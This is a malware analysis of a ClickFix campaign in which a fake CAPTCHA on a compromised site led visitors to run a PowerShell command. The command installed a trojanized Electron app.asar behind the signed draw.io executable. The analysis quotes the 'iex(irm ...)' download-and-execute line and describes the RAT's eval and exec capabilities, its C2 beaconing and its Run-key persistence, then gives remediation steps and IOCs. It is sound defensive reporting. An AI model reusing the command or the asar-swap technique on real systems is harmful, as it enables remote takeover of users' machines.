Anatomy of a ClickFix-to-RAT campaign: trojanizing Electron's app.asar

A fake “I’m not a robot” prompt on fepafut[.]com, the official site of the Panamanian football federation, instructed visitors to paste a command into the Windows Run dialog. Classic ClickFix. What followed wasn’t: every executable in the resulting bundle was signed, clean, and would pass a VirusTotal check without a second glance. The compromise lived somewhere code-signing doesn’t look.

The Lure

The site’s fake CAPTCHA walked the victim through the now-familiar ClickFix script: “verify you’re human” by opening Run (Win+R) and pasting a command supplied by the page. No exploit, no macro. Just a visitor doing exactly what they were told.

Execution chain

Four stages, each one legitimate on its own:

1. powershell.exe launches with iex(irm ccudmcx[.]xyz/u), pulling the second stage into memory and writing it to disk under the name runner.ps1.
2. powershell.exe runs (runner.ps1), the dropper, which downloads update26[.]zip, a suspiciously large 1.3GB archive, and extracts it to %LOCALAPPDATA%\UpdateApp\.
3. draw.io.exe, signed by JGraph Ltd. (the real publisher of draw.io), loads a trojanized app.asar on launch and immediately establishes persistence via a CurrentVersion\Run registry key.

Not sideloading: the archive was the payload

Every executable in the bundle update26.zip came back clean and signed on VirusTotal. The 1.3GB size initially pointed toward DLL sideloading, until it became clear the payload wasn’t a DLL at all.

Electron apps load their main-process JavaScript from resources\app.asar, a bundled archive sitting alongside the signed executable. Replace that one file and the malicious code inherits the trust chain of a legitimately signed application without ever touching a binary that a code-signing check would flag. PE-integrity checks have nothing to catch here: the executable is untouched and genuinely signed by JGraph.

Electron is the runtime behind a long list of everyday signed apps: VS Code, Discord, Slack, Postman, and Notion among them. Any of them is a candidate for the same trick if an attacker can replace the corresponding app.asar.

RAT capabilities

Once loaded, the trojanized app.asar gave the attacker:

• Arbitrary JavaScript execution in the Electron main process via eval(task.e).
• The ability to drop and execute base64-encoded files fetched from C2, via child_process.exec.
• A per-victim persistent ID for stable, trackable beaconing.

Command and control

The implant POSTs every 65 seconds to chimefusion[.]com/u/, the attackers C2 server. The request body is a JSON array carrying the victim ID, COMPUTERNAME, and USERNAME, enough for the operator to triage victims without touching the endpoint interactively.

Persistence

• app.setLoginItemSettings({ openAtLogin: true }) creates a HKCU\Software\Microsoft\Windows\CurrentVersion\Run entry pointing at %LOCALAPPDATA%\UpdateApp\draw.io.exe.
• A persistent victim ID is cached at %APPDATA%\setup.txt.
• The Run-key entry is the piece most defenders will wave through: it points at a signed, legitimate executable. The tell isn’t the binary, it’s the path: draw.io has no legitimate reason to be installed under %LOCALAPPDATA%\UpdateApp\.

Remediation

• Block chimefusion[.]com and ccudmcx[.]xyz at the network layer.
• Delete %LOCALAPPDATA%\UpdateApp\, %APPDATA%\setup.txt, and %TEMP%\runner.ps1 (%TEMP%\update26[.]zip is self-cleaning as part of runner.ps1’s execution).
• Remove the CurrentVersion\Run entry referencing draw.io.exe.
• Rotate any credentials that were active on the host during the compromise window.

MITRE ATT&CK

Techniques observed in this case.

Tactic	Technique	ID
Initial Access	Drive-by Compromise	T1189
Execution	User Execution: Malicious Copy and Paste	T1204.004
Execution	Command and Scripting Interpreter: PowerShell	T1059.001
Command and Control	Ingress Tool Transfer	T1105
Persistence	Compromise Host Software Binary	T1554
Persistence	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	T1547.001
Defense Evasion	Masquerading: Match Legitimate Name or Location	T1036.005
Discovery	System Information Discovery	T1082
Discovery	System Owner/User Discovery	T1033
Command and Control	Application Layer Protocol: Web Protocols	T1071.001

Indicators of compromise

Lure             fepafut[.]com
Delivery         ccudmcx[.]xyz
C2               chimefusion[.]com/u/
Install path     %LOCALAPPDATA%\UpdateApp\ (anomalous drawio location)
Victim ID cache  %APPDATA%\setup.txt
Dropper          %TEMP%\runner.ps1, %TEMP%\update26[.]zip
Persistence      HKCU\Software\Microsoft\Windows\CurrentVersion\Run -> draw.io.exe
update26.zip     d942e9cfc0ca32a3d66ec690090ee22dca74953efed6889fb2292de36f5e39fd
app.asar         0642708ec7c25dec3168f1ab275a29bfd3cf69fe3afc3d5c6eadfa6750102883

What to take from this

A clean VirusTotal result didn’t end the triage here, and it shouldn’t have. Every PE in the bundle was genuine; the malicious code sat inside an archive most tools never open. Integrity checking that stops at the binary misses this entirely, and the surface is wide — any signed Electron app on your estate is a candidate.

What gave it away was the path. Not a signature, not a hash: a legitimate binary running from a directory it had no business being in. That check costs nothing and it works on the whole category, not just this sample.